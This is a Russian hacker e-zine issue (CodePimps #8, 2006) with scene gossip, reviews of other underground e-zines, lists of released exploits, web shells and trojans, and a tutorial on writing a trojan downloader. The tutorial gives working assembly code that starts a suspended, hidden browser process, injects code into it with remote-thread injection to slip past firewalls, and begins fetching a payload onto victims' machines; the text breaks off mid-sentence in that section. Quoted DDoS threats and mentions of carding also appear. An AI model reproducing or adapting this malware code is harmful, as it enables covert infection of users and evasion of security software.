~  ~ ~~         ~~ ~  ~
                       ~~~         ~~     ~~         ~~~
              ~ ~ ~   ~             ~~   ~~             ~   ~ ~ ~
           ~~     ~~ ~~              ~   ~              ~~ ~~     ~~
      ~~~~~        ~~~                ~~~                ~~~        ~~~~~

             pimps                               pi    ?$codepimps#?$co
           depimps#?       mps#?                 pi      codepimps#?$co
          ode     #?$    pimps#?$c               pim      ode          
         code      ?$   epi     $co              pim      ode          
         cod        $  depi       od             pim      ode          
         co            dep        od             pim      ode          
         co            de         od             pim     codepimps#?$  
         co            de          d             pim     codepimps#?$  
         co            de          d     s#?$cod pim      ode          
         co            de          d   mps     depim      ode          
         cod        $  dep        od  im        epim      ode          
         code      ?$  depi      cod  im        epim      ode       PIMPS
          ode     #?$   epi     $co   im       depim      ode          
           depimps#?     pimps#?$c     mps    od pimp    codepimps#?$co
             pimps         mps#?         s#?$co   imp  ?$codepimps#?$co


                        CodePimps   e-zine   issue   #8

                               release: 01.04.06

      ~~~~~        ~~~                ~~~                ~~~        ~~~~~
           ~~     ~~ ~~              ~   ~              ~~ ~~     ~~
              ~ ~ ~   ~             ~~   ~~             ~   ~ ~ ~
                       ~~~         ~~     ~~         ~~~
                            ~  ~ ~~         ~~ ~  ~



[x] •-•-•-•-•-•-•-•-•-•-•-•-•-•-•-• [Intro] •-•-•-•-•-•-•-•-•-•-•-•-•-•-•-• [x]

      Одни журналы рождаются и умирают, а другие получают вторую жизнь...

  По-сути,так получилось у нас, "CodePimps" почти погиб после 7 выпуска,стафф
  на некоторое время распался. Сейчас можно сказать,что ничего не изменилось.
  Мы не работаем все вместе, мы просто пересылаем друг другу  статьи, которые
  нам даже лень прокомментировать. Несмотря  на  все  это  8  выпуск  вышел к
  намеченному сроку, а именно на наш день рождения, т.е. к 1 апреля.

  Что можно сказать за эти два года, которые прошли со времени выхода первого
  номера? Энтузиазм стаффа закончился, журнал теперь не какая-то часть  нашей
  жизни, а тяжелое бремя. Глядя на все это сложно сказать, что будет дальше и
  будет ли. Возможно, что мы остановимся на числе 8.

  Мы не преследуем  цель  создать  электронное  издание  целиком  посвященное
  информационной безопасности.Мы не являемся хранителями "элитных" знаний или
  членами  культовых  хакерских  команд.   Наша  цель - создание  интересного
  многогранного журнала. 
                                                       CodePimps e-zine staff



[x] •-•-•-•-•-•-•-•-•-•-•-•-• [Scene Short Newz] •-•-•-•-•-•-•-•-•-•-•-•-•- [x]

Dark_Ghost покинул группы RST\GHC, CodePimps Staff и ушел со сцены вцелом.
                                                                 Peace, br0!

К стаффу присоединился jecxz.

В связи с потерей еще одного  основного  зеркала  журнал  переместился  на 
     cps.jino-net.ru

                            •-•-•-•-•-••-•-•-•-•-•

Всем  стаффом  поздравляем  Terabyte, который  женился  на  Nerd, а заодно
   поздравляем Nerd, вышедшую замуж за Terabyte. Счастья вам!

                            •-•-•-•-•-••-•-•-•-•-•

Вышли 7-16 номера "Bugger Hukker Crew E-Zine" - "ЧИТАЙТЕ И КОМПЕЛИРУЙТЕ!"

Вышел 4 номер "Mazafaka.Ru E-zine"

Вышел 1 номер нового журнала "xakepy.ru ez!n3"

На сайт группы "BlackLogic"  была  проведена  ddos-атака, в  ходе  которой
   сайт оказался недоступен. Вскоре был отпаркован домен и пока не ясно когда
   сайт снова заработает. "Индейцы" все сваливают на 500MHz, который никак не
   появится в асе.

Какие-то проблемы с ruskod.com, сервер возвращает:

     "
     Forbidden
     You don't have permission to access / on this server.
     "

17 декабря 2005 года завершила свое существование группа "Limpid Byte"
    На сайте появилось сообщение, подписаное xCrZx:

     "
     The project is closed
     The End ;)
     "

Скорее всего "умерла" группа "LWB".

Сдохла группа "ccteam"



[x] -•-•-•-•-•-•-•-•-•-•-•-•-•-• [Newz Review] •-•-•-•-•-•-•-•-•-•-•-•-•-•- [x]

Феномен Bugger Hukker Crew

    На данный момент журнал BHC является достаточно популярным в определенной
  среде, которую мы определим как андеграунд.  Но,  так  же  он  подвергается
  многочисленным нападкам от известных (в смысле авторитетных) и не известных
  людей. Мы попробуем определить,почему получается так,что одни ожидают выход
  новых выпусков BHC,а другие всячески пытаются помешать этим выпускам выйти.

    Как все начиналось? А началось все с выхода BHC5,т.е. по названию пятого,
  а  в  действительности первого (но возможно BHC это исправят :) Собственно,
  сам  процесс  создания  команды  и  журнала  описан  в  BHC5, в статье "Как
  создовался BHC". Журнал  сразу  был  отмечен  андеграундом как "шутливый" и
  воспринят очень и очень хорошо.  Конечно были люди, которые не воспринимали
  журнал или воспринимали не как шутку, но о них ниже.

    Затем был BHC6, в котором стоит отметить статью "ФЕДБЭК", т.е. ответы  на
  полученные отзывы. Причем, первая часть отведена для как бы "положительных"
  отзывов, а вторая для "отрицательных". Причем сразу же натыкаемся на ссылку
  с wasm.ru (о нем чуть позже). Так вот,если здраво оценить те отзывы,которые
  помещены в "отрицательные", то выходит, что они написаны  людьми  либо  без
  чувства юмора, либо без мозга, либо не удосужившимися прочесть весь журнал,
  а сразу севшими что-то в нем исправлять и писать критику  (а таких на самом
  деле много, это мы знаем из личного опыта).

  Чтобы не быть голословными - пример:

    noobi0xFF: "хоть писать научитесь грамотно"

  т.е. отсюда следует, что человек даже не осознает, что нарушение грамматики
  языка в журнале является не следствием неграмотности, а следствием  пародии
  на манеру писать исковерканные слова, принятую в андеграунде.

    Так  же  вышла  первая статья с "критикой" - "Обзор Хэккерского Вирусного
  Журнала ZF5", в которой может несколько примитивно,но с юмором,"опускается"
  журнал, издаваемый людьми,которые вроде как работают в области антивирусов.

  Дальше был номер 7. И опять же фидбэк:

    какой то левый журнал. Ни одного наезда на секлаб или Гордейчика. Да и
    чего  все  в DOS кодировке? Это типо модно щас? Текст окружен какимито
    квадратиками,   ссылки   вообще  невозможно  из  за  этих  квадратиков
    скопировать  текст  рябит...  Неужели нельзя все сделать в виде хотябы
    HTML все в одном?
                                                         Александр Антипов,
                                                                 Редактор

  Как по вашему - полное непонимание происходящего или "скрытый" пиар?

    В BHC7 появляется файл сленга, который пополняется от  номера  к  номеру.
  Примечателен этот сленг тем, что он уже получил широкую распространенность,
  например про ICQ - "система  пользователей  типа  "все  ищут  меня", что, в
  некотором роде, является правдой. 

    Кстати, о правде. В BHC7 показана  реальность  нашего  времени, например,
  статья  "ПРАВДА  О  ХЭККЕРСКОМ  БРАТСТВЕ", в  которой  прекрасно  расписана
  ситуация, которая  сейчас  творится  в андеграунде. Всем  насрать  на  всех
  остальных - не признать это может либо человек далекий от "сцены", либо все
  еще витающий в каких-то мечтах, где все хакеры братья, одна большая семья и
  т.д.

  В BHC8 есть замечательная фраза, сказанная Mr.Hukkers о BHC:

    Mr. Hukkers: в нашем журнале
    Mr. Hukkers: обыгрываем сцены со сцены так сказать

    Через несколько дней после выхода 8 номера вышел BHC9 и опять  в  фидбеке
  "святятся" люди с форума wasm.ru:

    from: apple, Воин дзена с wasm.ru                            
    в ответ на: "В МЕСТЕ МЫ СИЛА !!!"                            

    Это в каком месте у тебя с друганом твоим сила?              
    Хотя правильно, наверно, дbIрка уже разработана.             

  А так же начинается эпопея Z0MBiE. Войны дзена посчитали, что журнал издает
  сошедший с ума Z0MBiE, и всячески пытались это проверить,  попутно  пытаясь
  уверить в этом всех людей, которые "заикались" о BHC. Так же  вышла  статья
  "Элита и Хуесосы", в которой подробно  описываются  попытки  "найти  зомбу"
  некого Welez'a, а так же унижение Ms Rem'ом самого  себя  ради  мифического
  шанса поговорить с Z0MBiE.

  Так же в новостях BHC9 отмечено, что на wasm.ru пополнились правила:

    5. Особые случаи                                           
    5.1 Запрещено постить анонсы журналов Bugger Hukker Crew. 


  В фидбеке BHC10 опять мелькает знакомый ник - Welez, который сливает всех:

    тут кое-кто пообещал досить твой "рупор свободы"


  "Тут" в данном контексте означает wasm.ru.  Далее во курсу статья "Хэккер и
  его  Духовный  Внутренний  Мир"  и  опять упоминание о Z0MBiE и двух войнах
  дзена с wasm.ru - ZENiTH и Nimnul.

  Фидбек BHC11:

    [0xdeadbabe]: Передайте зомбе, что васм.ру и иво дети живут там, они иво
                  любят и ждут, мать ждьот, зомба,вирнись!

  A так же стоит отметить вот это:

   Flex[IP]>моя дорогая у меня есть все основания, чтобы начать ддос атаку
   на  ваш  сервер,  и  досить я буду не глупо по домену и весь ns сервер,
   чтобы  из-за  вас  легли  все  сайты. А еще он будет проспамлен по базе
   абьюзеров,   и   в  конце  прийдет  большая  abuse  от  имени  адвоката
   американской  конторы,  подстрадавшей от вас, и тут тоже можно >спамить
   глупо  по  домену  или  пожалуй  жестоким иллигалом, скажем ДП, но этто
   будет уже не оффициально) Не туда ты сука полезла.

  И ответ BHC:

   Как  ко-фаундер  BHC,  я  усматриваю  в этом яркое проявление подлой
   хэккерской сущности флексопа.  Прафайл ожидается.

  Как известно Flex[IP] вскоре ссучился и подвел блестящую команду BlackLogic
  тем,что нахватал (а точнее украл) денег и смылся. Ну и как тут не вспомнить
  цитату из BHC: "Мы пишем токо правду!"

    В 13 номере BHC был выложен  профайл  на  некого  Volodya, администратора
  wasm.ru.

    Фидбек BHC15 - опять ищут Z0MBiE.  В новостях упоминается сайт wasm.ru, а
  конкретно Volodya и apple.  Так  же  вышла  статья  "Открытое  обращение  к
  Володуа".

    Вскоре после выхода BHC15 начинается DDoS-атака на сайт bhcrew.ru,  после
  чего   домен   оказывается   отключенным.   Затем   оказываются   закрытыми
  bh-crew.narod.ru,  bugerhuker.narod.ru  и  bhcrew.50webs.com,  т.е.  кто-то
  активно  пытается  помешать BHC. Вскоре начинаются флуд-атаки на ICQ-номера
  авторов  BHC,  входе  чего  единственным  местом  для  разговоров  остается
  bhcrew.livejournal.com. BHC в  своем  ЖЖ  выложили  информацию  о  тех, кто
  проводит атаки, но, естественно, что эти люди отрекаются от этих обвинений.

    Если посчитать тех, кто угрожал BHC, то минимум  получаем  такой  список:
  eas7, flex[ip] и целая куча людей, связанных с wasm.ru.

    Но, не смотря ни на что, BHC  продолжает релизить новые номера журналов и
  нести свое виденье правды. На данный момент при поддержке BHC появился сайт
  bhcrew.net, который, надеюсь, не закроют в ближайшее время.

    Таков феномен BHC, появившегося как пародия на сцену и ставшего "правдой"
  для одних и "врагом" для других.


  Интересные ссылки:

   http://www.int3.ru/forum/viewtopic.php?t=64 - wasm vs bhc
   http://www.int3.ru/forum/viewtopic.php?t=68 - bhc only
   http://z0mbie.host.sk - Z0MBiE
   http://www.securitylab.ru/opinion/261219.php:

     "
      Состав участников оказался весьма пестрым – присутствовали и
      представители близких по теме  средств  массовой  информации
      журналов «Хакер» (естественно), хаккерского езиноса BHC
     "

   /attach/bhc.txt - BHC paper



[x] •-•-•-•-•-•-•-•-•-•-•-•-•-• [e-Zine Review] •-•-•-•-•-•-•-•-•-•-•-•-•-• [x]

    За сентябрь вышло несколько журналов,мы рассмотрим часть из них и немного
 порассуждаем. Итак, в порядке выхода:


Bugger Hukker Crew e-zinos #7

  Второго сентября вышел новый номер "хардкорного" журнала от BHC. В номере:

    1. Начало
    2. Федбэк
    3. Новости
    4. Прафайл (mr. Krukkers)
    5. Об кодеровке журнала 
    6. Открытое письмо к Bugger Hukker Crew
    7. ВСЯ ПРАВДА О ДОКТУРЕ ZXC
    8. Как Mr.Krukkers стал Хэккером
    9. САЦИАЛЬНАЯ ПОЛЬЗА ХАКЕРСТВА
   10. ПЛАН ПОРОБОЩЕНЕЯ МИРА ГЛАЗАМИ ХЭККЕРА
   11. Начинаем ламать. [Ч2]
   12. Начинаем ламать. [Ч3]
   13. ХУ А ЙУ, МИСТЕР КРЭКЕР?
   14. хэкеры vs хакеры. кто прав, кто виноват
   15. как заработать денег в интронет
   16. ПРАВДА О ХЭККЕРСКОМ БРАТСТВЕ
   17. инторвью с mr.Fukkers
   18. сотона в интронет
   19. инторвью с одминистратором X-HacK TeaM
   20. Конец

  Стоит  отметить  статью  "Как Mr.Krukkers стал Хэккером". В  которой  очень
  порадовали лексические обороты:

   "Ебаный в сокет! ЭТО ЖЕ ОМОН!!"
   "Украли, пропили. Хой-тек олкошня"

  А вот статья "ПЛАН ПОРОБОЩЕНЕЯ МИРА ГЛАЗАМИ ХЭККЕРА" не впечатлила.Возможно
  это  потому, что  наш  подобный  план  куда извращеннее и кровавей. Хотя мы
  никогда и не догадывались вот об этом:

   "
   для   начала   следует откомпелировать  нулевое кольцо, а потом дернуть
   за 3-е колечко, иначе парашут  не  раскроется и криптовалка только все 
   испортит
   "

  Поискать ссылку на выпуск можно тут: http://community.livejournal.com/bhcrew


Bugger Hukker Crew e-zinos #8

  Четвертого сентября вышел восьмой [4] номер журнала от BHC. В номере:

    1. Начало
    2. Федбэк
    3. Новости
    4. Прафайл (mr. Fukkers)
    5. Как скомпелировать шелкод
    6. Начинаем ламать [Ч4]
    7. Кончаем ламать
    8. Разговор с Одептом
    9. БЭХОЦЕ-ТЕСТ В ПСИХЕОТРИИ
   10. Выстовка достижений BHC
   11. Случайное интровью с фоундером CCTeam
   12. Вся правда о Дифейсе или как это было
   13. Инторвью с самим собой
   14. Измененные состояния сознания и хЄкинг
   15. Generic Unix system manual for an advanced Hukkerr
   16. Как Mr.Fukkers стал хэккером
   17. Конец

  Нас заинтересовала статья "Разговор с Одептом",и,если внимательно прочитать
  ее, то можно заметить такие две строчки:

   "eaS7: сцены нет)"
   "eaS7: вы позор сцены, клоуны"

  Однако, это противоречие очень легко объяснить строкой оттуда же:

   "Mr. Hukkers: противоречие - это и есть хэккер-стайл"

  что дает нам понять - интервью было с реальным "хэккером" :)

    eaS7: думаеш важ журнал так называемый кто-то читает?) вы что-то делаете
          для сцены кроме того чтобы поливать грязью окружающих и постоянно
          изобретая велосипед кричя что мы сила)

  eas7, а что ты сделала для сцены, кроме того, что основала никому не нужное
  ru_girls_hack?

  Так  же, в конце  статьи  "Случайное интровью с фоундером CCTeam", tristram
  кидает в эфир:

   "
   [18:03] tristram: мы свой собираемся журнал делать
   [18:04] tristram: 20 статей уже готово
   "

  Отсюда следует, что скоро, возможно,появится еще один русскоязычный журнал,
  рассчитанный на андеграунд коммунити.

  Нам осталось непонятным кое-что  из статьи  "Generic Unix system manual for
  an advanced Hukkerr".  В ней говориться о некой команде "rm -rf /",  и том,
  что она позволяет сломать любой Unix. Но если вспомнить, то в пятом номере,
  в "Faq v 0.1 beta" было сказано,что данная команда лечит не работающие DNS.
  
  В целом, пока только хорошие впечатления от всех выпусков.  Удачи вам, BHC,
  и помните "В МЕСТЕ МЫ СИЛА!!" [там и встретимся]

  Поискать ссылку на выпуск можно тут: http://community.livejournal.com/bhcrew


Mazafaka.Ru E-zine #4

  Первого декабря вышел очередной номер от mazafaka. В номере:

    1. Intro
    2. News
    3. Chaos Construction 2005
    4. LinuxLand/SoftTool 2005
    5. Удалённая установка RAdmin'a
    6. Proxy Detection
    7. Построение сайта. Обзор слабых мест.
    8. Взлом сайта uzlovaya.ru
    9. Crypto Doors vol.1
   10. СИ в новом свете
   11. Carding с самого начала
   12. Способы обхода Антизайцев
   13. Интервью с POZITRON
   14. Интервью с CyberLords community
   15. Интервью с ЗАРАЗА
   16. Интервью с Terabyte(web-hack.ru)
   17. Mazafaka.Ru от зачатия до наших дней
   18. Методы и алгоритмы шифрования информации на PHP
   19. Outro


   Наверное, нам необходимо прокомментировать следующее:

     "
      Code Pimps 7 - после выпуска этого номера в срочном порядке (судя по
      всему из-за проблем с хостером - карженный домен ? ) был закрыт сайт
      команды BOI team, так же являющийся главным зеркалом данного зайна...
      Хотя на форуме sockets.ru представители cp обещали разобраться в
      "ближайшие дни" сайт до сих пор находится в дауне - поэтому выпуски
      этого зайна придётся качать с какого-нить зеркала (благо их развелось
      довольно много =) 
      http://www.web-hack.ru/e-zine/codepimps/
     "

    К  нашему  сожалению,  мы,  как  и  команда  BOI,  в  отличии  от   самих
  "мазафаковцев", не занимаемся кардингом, так что говорить  что-то  там  про
  кардинг в нашу сторону просто глупо. Да и как мы  не  искали, не  нашли  на
  форуме обещаний стаффа разобраться с сайтом.Насчет "многочисленных зеркал",
  то ситуация складывается так, что больше пяти первых номеров  на  них  нет.

   И, кстати, название "CodePimps" пишется слитно, мы же не пишем "maza faka"

   Слить 4 номер можно отсюда: 
     Full version  (AHTUNG! 5680Kb)
     Light version (AHTUNG! 2921Kb)


Feeling of Digital Streams #6

  В номере:

    1. Introduction
    2. Lock directory
    3. Introduction to system limits
    4. Full access to the disk partitions(win)
    5. Elite kungfu
    6. Shadow disk
    7. Customizing FreeBSD loader with 4th
    8. Acm 1/4 kz subregion
    9. Close words

  Порадовала дата модификации файла внутри архива - "01.01.2030 \ 06:06:06".

  Забрать можно отсюда: http://feelds.by.ru/fds_6.zip (104 Kb)


xakepy.ru ez!n3 #1

  Первый номер нового журнала, вышел 1 апреля. В номере:

    1. Интродакшн  
    2. FAQ about HACK v1.5  
    3. Вся правда о вбиве  
    4. Windrop  
    5. Оутпост - зомби  
    6. Накрутка  
    7. Набор начинающего proxy-грабера  
    8. Понимание эффекта и причин уязвимостей типа cross-site scritpting
    9. Основы SQL  
   10. Алгоритм хэширования MD5  
   11. Принципы и практическая реализация DDoS атак  
   12. Кардинг: пошаговое руководство по работе в партнерке  
   13. Шкодим на либвискере  
   14. 0utr0

   Описать журнал очень сложно, поэтому приведу самый удачный, на мой взгляд,
  комментарий с sockets.ru:

    "
     Жесть как она есть.Достойный преемник CHD и Exec.
    "

  Слить можно отсюда: http://dl.xakepy.ru/ezine/ezine.zip (130 Kb)



[x] •-•-•-•-•-•-•-•-•-•-•-•-•-• [Release Review] •-•-•-•-•-•-•-•-•-•-•-•-•- [x]

 • Group: Hell Knights Crew

  08.10.05 - Release  - WinNT.Annigilator Virus v0.1
  21.10.05 - Article  - Перенаправление  SSH и HTTP  трафика с помощью  атаки
                        Man in the Middle.
  01.11.05 - Release  - UID-Changer-BackDoor for Linux 2.4.x
             Release  - BlackHorseD Trojan v.0.1
  31.01.05 - Advisory - Communiware 0.9624 & below XSS
  27.01.05 - Article  - Проникновения в машину путем использования доверенных
                        хостов.
  30.12.05 - Advisory - XSS в MBook v.3.0
  23.01.06 - Article  - *nix-бэкдоры в подробностях.
  25.01.06 - Advisory - ADN Forum 1.0b Cross Site Scripting
             Advisory - phpxplorer 0.9.12 Cross Site Scripting
             Advisory - Widexl Download Tracker 1.06 Cross Site Scripting
  27.01.06 - Advisory - PhpNuke-Statistics XSS
  15.02.06 - Advisory - Land Down Under v801 SQL-injection vulnerability
             Advisory - MyBB Installation Path Recovery
  02.03.06 - Article  - Теория и практика атак PHP-include и PHP-injection.
             Advisory - PHP DB Control Panel SQL-injection
             Advisory - Learning  Management  Systems 1.04-1.12 SQL-injection
                        & auth not pass
             Advisory - PhpWebGallery 1.3.4 XSS & SQL-injection
             Advisory - ECMS 2.0 SQL-injection & Security Bypass
             Advisory - Baal Systems Discussion Form XSS
             Advisory - Kboard 0.6 SQL-injection, XSS & Login Bypass
             Advisory - FreeLinkManager Login Bypass & SQL-injection
             Advisory - n8cms 1.12 XSS, SQL-injection, Login Bypass & so on
             Advisory - PHPX 3.5.9 Login bypass & SQL-injection
             Advisory - BES_CMS 0.6.2 Login bypass, SQL-injection & XSS
             Advisory - PhpMyWebMin 1.0 PHP-include, Files Listing & etc
             Advisory - J2V Folder gallery 1.0.2 Listing Folders bug
             Advisory - @lex GuestBook 3.31 Installation Path Recover bug
             Advisory - Tagmin Control Center 2.1.B Build 2 PHP-include
             Advisory - Beehive Forum 0.6.2 XSS, PHP-injection, system info
             Release  - d3fbi7 0.1
             Release  - l0gbi7 0.1
  08.03.06 - Release  - SOCKS 5 proxy-server v1.1 RC 
  11.03.06 - Advisory - FMDelux 1.0.0 DoS & Installation Path Recover Bug
  16.03.06 - Release  - nLP 0.99a (Apache Log Parser)
             Release  - n4n0c0nv 0.2 (Converter Script)


 • Group: RST\GHC Security Team

  04.09.05 - Advisory - PBlang 4.65 XSS & PHP-Injection by Pengo
             Exploit  - PBLang 4.65 remote command execution exploit
  15.09.05 - Exploit  - phpWebSite sql injection exploit
  16.09.05 - Exploit  - PHP-Nuke 
  25.09.05 - Advisory - SEO-Board 1.02 SQL injection throu cookie
  26.09.05 - Advisory - Land Down Under 800 XSS & SQL-Injection
  11.10.05 - Exploit  - phpBB admin_styles.php commands execution exploit.
  14.10.05 - Release  - psybind
  29.10.05 - Advisory - Subdreamer 2.2.1 SQL injections & code execution 
             Exploit  - Subdreamer 2.2.1 command execution exploit
  18.11.05 - Article  - Однобайтовое переполнение буфера в стеке
  01.12.05 - Article  - Система обнаружения вторжений на базе IDS Snort
  25.12.05 - Exploit  - phpBB 2.0.17 xpl
  31.12.05 - Release  - r57shell 1.24
  09.02.06 - Advisory - KOOBI CMS 5.2 Standart
             Advisory - JOOMLA CMS 1.0.7
  17.02.06 - Advisory - e107 0.7.1 XSS
             Exploit  - Zorum forum 3.5 sql injection exploit
             Exploit  - AWStats 
             Exploit  - Gravity Board X v1.1 command execution exploit
  25.02.06 - Advisory - Возможность обхода логирования запросов в MySQL
  03.03.06 - Release  - g00glink
  07.03.06 - Release  - new version of psybind
  22.03.06 - Release  - r57-pid-check 
  29.03.06 - Release  - r57shell 1.3


 • Group: Cyber Lords Community

  12.09.05 - Advisory - Remote command execution в MkPortal 1.3.1 Final
  17.09.05 - Release  - PHP proxy-server (v.0.39b)
  01.12.05 - Article  - Кардинг, полезные аспекты в риал пластике.
             Article  - Удаленная установка Radmin'a.
  19.01.06 - Release  - CL SQL Client v 1.0
  31.01.06 - Advisory - XSS in CuteSystem v 1.0
             Advisory - SQL-injection in RW: Download v 4.0.5
  02.02.06 - Advisory - SQL-injection in PollPro Version 4
             Advisory - SQL-injection in uTopsites 1.5.1
  07.02.06 - Advisory - XSS in UltraShop
  11.02.06 - Advisory - XSS in Monster Top List 1.4
  27.02.06 - Advisory - XSS and SQL-injection in AutorankPhp 2.0.2
             Advisory - XSS in In-link 2.2.6
  28.02.06 - Advisory - Active XSS in Invision Power Board 2.1.4
  08.03.06 - Advisory - XSS in eBoard alpha 3.1 0.61
             Advisory - XSS in YaWPS 0.61
             Advisory - XSS in Ashop
  09.03.06 - Advisory - Active XSS in InstantForum.NET v4.1.1
  16.03.06 - Advisory - SQL-injection and XSS in RalfChat
  18.03.06 - Advisory - SQL-injection and XSS in photokorn gallery
             Advisory - XSS in NewsPublisher.dk v.1.0
             Advisory - XSS in ActiveBoard
             Advisory - XSS in XT-Commerce v2.0 RC1.2


 • Group: DarkCoders

  01.02.06 - Release - MD5,Hex,Crc32,Base64 coder/decoder [md5 decoder? -cps]
             Article - Функция fsockopen или учимся работать с сокетами в php
  13.03.06 - Release - Apache Log Cleaner



[x] -•-•-•-•-•-•-•-•-•-• [Article 1: TrojanDownloader] •-•-•-•-•-•-•-•-•-•- [x]

 • Автор: jecxz


    TrojanDownloader -- именно так классифицирует Лаборатория Касперского тип
  программ, о которых пойдет речь в этой статье.

    Итак,  что  такое  downloader?   Это  программа,  которая  незаметно  для
  пользователя скачивает из сети  другую  программу и\или данные.  Наибольшее
  распространение программы данного  класса  получили  у троянописателей, что
  позволяет им загружать свое ПО на машины жертв.

    Сама идея загрузки троянов при  помощи  сторонних  программ  не нова, как
  минимум ей уже 5 лет.  Но прогресс не стоит на месте,  средства обеспечения
  безопасности активно развиваются,и,соответственно, улучшаются downloader'ы.
  От примитивных средств закачки они проделали путь  до  программ  с развитой
  структурой взаимодействия с ОС и сетью. 

    На данный момент функциями более-менее приличного "загрузчика"  являются:
  обеспечение собственной безопасности в системе, обход  файерволов, загрузка
  указанного файла, с последующим запуском его на выполнение.

    Некоторые  из существующих "загрузчиков"  содержат "расширенные" функции,
  например,  шифрование  данных,  таких  как адрес  файла  для загрузки, или,
  например, получение статистики по зараженным машинам - их количество,версии
  ОС и многое другое, т.е. по-сути являются некими "полу-троянами".

    Но вернемся к основной функции "загрузчиков" -незаметно загрузить файл на
  машину пользователя. В  данной  статье мы  рассмотрим  простой  downloader,
  который, однако, позволяет  обойти  некоторые файерволы и загрузить файл из
  сети.

    Выбор языка программирования пал на ассемблер, в  качестве  компилятора я
  использовал FASM (thx Tomasz Grysztar). Предполагаю, что многие читатели не
  знакомы с ассемблером, но это не беда, код  получился  достаточно  простым,
  единственное, что необходимо, чтобы понять его, это немного напрячь мозги.

    В коде отсутствуют некоторые проверки на ошибки, которые, в свою очередь,
  могут привести  к появлению  сообщения о  чем-нибудь  некорректном в рамках
  процесса, но мне было так лень их писать :)

    Весь  код  состоит  из нескольких  процедур, мы начнем с процедуры поиска
  браузера по-умолчанию.

    Для нахождения пути к браузеру нам необходимо создать файл с  расширением
  ".htm" и использовать функцию "FindExecutable".

    Создать файл можно функцией "CreateFile", которой  мы передаем  параметры
  будущего файла - атрибут "скрытого" файла. Делать  это  не  обязательно, но
  лучше скрыть пустой файл от глаз пользователя, а еще лучше,после нахождения
  пути к браузеру, удалить его.

    В функцию "FindExecutable" мы передаем  путь  к файлу  и переменную, куда
  будет занесен путь к браузеру.

  ;-------------------------------------------------------------------------;
  ; Find Executable
  __findex:

    push  0
    push  FILE_ATTRIBUTE_HIDDEN
    push  CREATE_NEW
    push  0
    push  0
    push  GENERIC_READ
    push  filz
    call  [CreateFile]

    push  cmd
    push  0
    push  filz
    call  [FindExecutable]

    ret
  ;-------------------------------------------------------------------------;
    filz db '1.htm',0
    cmd  db 'c:\program files\internet explorer\iexplore.exe',0
  ;-------------------------------------------------------------------------;

    Я  назвал  временный  файл  "1.htm", а в переменную пути на всякий случай
  прописал путь по-умолчанию к IExplore. Делать это не обязательно :)

  Ok, теперь дальше. 

    Невидимость в процессах и обход  файерволов  достигается  путем  инъекции
  нашего кода в код браузера.Для этого нам необходимо открыть его в памяти на
  редактирование, сделать  это  можно  только  когда процесс запущен. Но ведь
  пользователь может долгое время не использовать браузер,что же нам - ждать?
  Конечно нет. Мы сами запустим процесс, чем решим несколько проблем:

   1. Нет необходимости ждать запуск процесса
   2. Невидимость окна браузера
   3. Нет необходимости получать права "SeDebug" для открытия процесса.

    Последнее происходит потому, что после функции "CreateProcess" для нашего
  "загрузчика" будет автоматически выставлено "PROCESS_ALL_ACCESS" , что есть
  полный доступ к процессу.

    Создание  процесса  будет  идти , как  я  уже  упомянул,  через   функцию
  "CreateProcess", в которую  мы  передаем  структуры "PROCESS_INFORMATION" и
  "STARTUPINFO", командную строку для вызова браузера и пару опций:

   1. SW_SHOW - отображение окна браузера, если этого не сделать,то, например,
      "Outpost Firewall" выдаст предупреждение о запуске "скрытого"  процесса.
      "Как  нам  скрыть  окно  браузера?", - спросите вы.  А вот для этого мы
      указываем второй параметр.

   2. CREATE_SUSPENDED - создать процесс приостановленным, эта опция позволит
      не показывать окно браузера :)

    Кстати,  "CREATE_SUSPENDED"  часто  используется  в  троянах  для  обхода
  файерволов,но приостановленный процесс потом зачем-то запускается. Зачем :?
  Мы, естественно, не будем так поступать.

  ;-------------------------------------------------------------------------;
  ; Create Fake Process
  __create:

    push  pinfo
    push  sinfo
    push  0
    push  0
    push  CREATE_SUSPENDED;
    push  0
    push  0
    push  0
    push  cmd
    push  0
    mov   [sinfo.wShowWindow],SW_SHOW
    call  [CreateProcess]

    ret
  ;-------------------------------------------------------------------------;
    pinfo  PROCESS_INFORMATION
    sinfo  STARTUPINFO
  ;-------------------------------------------------------------------------;

    После  выполнения  данной  функции  мы  получим   заполненную   структуру
  "PROCESS_INFORMATION", которая будет содержать хендл и PID нашего браузера.

    Итак, открываем процесс с параметром "PROCESS_ALL_ACCESS",  для  этого  в
  функцию "OpenProcess"  необходимо  передать  номер  процесса  из  структуры
  "PROCESS_INFORMATION".  После  чего  в  регистр  EAX  будет  записан  хендл
  процесса.

    Затем, с помощью функции "VirtualAllocEx", мы увеличиваем  память  нашего
  процесса на необходимое нам количество,которое можно расчитать,как разность
  конца и начала кода процедуры.

    Далее   мы   пишем   в  выделенную  память  наш  код  благодаря   функции
  "WriteProcessMemory",после чего нам остается только создать удаленный поток
  в контексте браузера через функцию "CreateRemoteThread".

  ;-------------------------------------------------------------------------;
  ; Inject Code
  __inject:

    xor  esi,esi

    push  [pinfo.dwProcessId]
    push  0
    push  PROCESS_ALL_ACCESS
    call  [OpenProcess]

    test  eax,eax
    jz    .exit
    xchg  eax,edi

    push  PAGE_EXECUTE_READWRITE
    push  MEM_RESERVE + MEM_COMMIT
    push  _download_end-_download
    push  esi
    push  edi
    call  [VirtualAllocEx]

    test  eax,eax
    jz    .close
    xchg  eax,ebp

    push  esi
    push  _download_end-_download
    push  _download
    push  ebp
    push  edi
    call  [WriteProcessMemory]

    dec   eax
    test  eax,eax
    jnz   .close
    inc   eax

    push  esi
    push  esi
    push  ebp
    push  ebp
    push  esi
    push  esi
    push  edi
    call  [CreateRemoteThread]

   .close:
     push  edi
     call  [CloseHandle]

   .exit:
     ret
  ;-------------------------------------------------------------------------;

  В связи с тем, что наш код получает смещение в ходе инъекции,нам необходимо
  заранее сохранить адреса вызываемых функций, причем  хранить  мы  их  будем
  прямо в коде. Для сохранения мы используем вот такую процедуру:

  ;-------------------------------------------------------------------------;
  ; Get APIs
  __apis:

    mov edi,[MessageBox]
    mov [_MessageBox],edi

    mov edi,[LoadLibrary]
    mov [_LoadLibrary],edi

    ret
  ;-------------------------------------------------------------------------;

    Т.е. адрес оригинальной функции помещаем в EDI,а оттуда в область данных.

    Смещение, которое получает  наш  код, называется  дельта-смещением, и  мы
  должны будем рассчитать его. Для  этого  существует  несколько  способов, я
  выбрал самый распространенный :)

  ;-------------------------------------------------------------------------;
    call  .delta

    .delta:
     pop  ebp
     sub  ebp,.delta
  ;-------------------------------------------------------------------------;

    Теперь пара слов о коде закачки файла.  Я решил не особо напрягать себя и
  использовал  стандартную  функцию "URLDownloadToFile", которая  находится в
